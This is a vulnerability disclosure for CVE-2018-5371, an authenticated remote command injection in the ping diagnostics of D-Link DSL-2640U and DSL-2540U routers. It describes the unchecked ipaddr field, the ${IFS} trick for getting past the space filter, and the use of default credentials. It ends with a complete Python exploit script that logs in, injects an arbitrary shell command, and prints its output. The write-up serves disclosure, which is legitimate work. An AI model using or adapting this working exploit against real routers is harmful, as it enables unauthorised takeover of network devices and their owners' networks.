Vulnerability in DSL-2640U(IM_1.00、ME_1.00) and DSL-2540U(ME_1.00)(CVE-2018-5371)

0x01 introduction

The vulnerability(authenticated remote command execution) was found in ADSL routers DSL-2640U(IM_1.00、ME_1.00) and DSL-2540U(ME_1.00), diag_ping.cmd allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ping ipaddr field of HTTP GET request.

0x02 detail

Go to MAINTENANCE——Diagnostics——ping page, for the ping arguments are not properly handled by the system, so there is a RCE vulnerability here. Arbitrary OS commands can be executed.

The status page of the router DSL-2640U(ME_1.00) is blow.

Go to diagnostics page .

redirect to ping page.

Just do ping test like “ping 8.8.8.8;ls ”, the input values are well checked by the web page, and “invalid ip address” will be prompted.

But if the HTTP GET request is sent as blow, the response message will display the result of command execution.

Space characters are filtered,bypass the no-space restrictions with ${IFS}.

default users and passwords are in use.

0x03 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import urllib2
import urllib
import requests
import base64
import hashlib
import re

def exploit(ip, user, pwd, cmd):

s = requests.Session()
payload = {'username':user, 'password':pwd}
url = 'http://' + ip + '/index.html'
url_refer = 'http://' + ip + '/login.html'
headers = {'Referer': url_refer}
res1 = s.post(url, data = payload, headers = headers)


newcmd = cmd.replace(" ", "${IFS}")
next_url = 'http://' + ip + '/diag_ping.cmd?action=test&ipaddr=8.8.8.8;' + newcmd
next_url_refer = 'http://' + ip + '/diag_ping.html'
next_headers = {'Referer': next_url_refer}
res2 = s.get(next_url, headers = next_headers)
content = res2.text
match_str = re.search('(\"readonly\">\s+)(.*)(\s+</textarea>)', content, re.S)


if match_str:
out = match_str.group()
final_str = (out.replace('\"readonly\">', '')).replace('</textarea>', '')
print final_str.strip()
else:
print "cmd error or response error!"

return s


def logout(ip, session):
url_logout = 'http://' + ip + '/logout.html'
url_logout_refer = 'http://' + ip + '/logouth.html'
headers = {'Referer': url_logout_refer}
res3 = session.get(url_logout, headers = headers)


if __name__ == '__main__':

host = "192.168.1.1"
user = ""
pwd = ""
cmd = ""

session = exploit(host, user, pwd, cmd)
logout(host, session)

On 2017.12.14, contacted D-LINK Security Advisories , but no response till now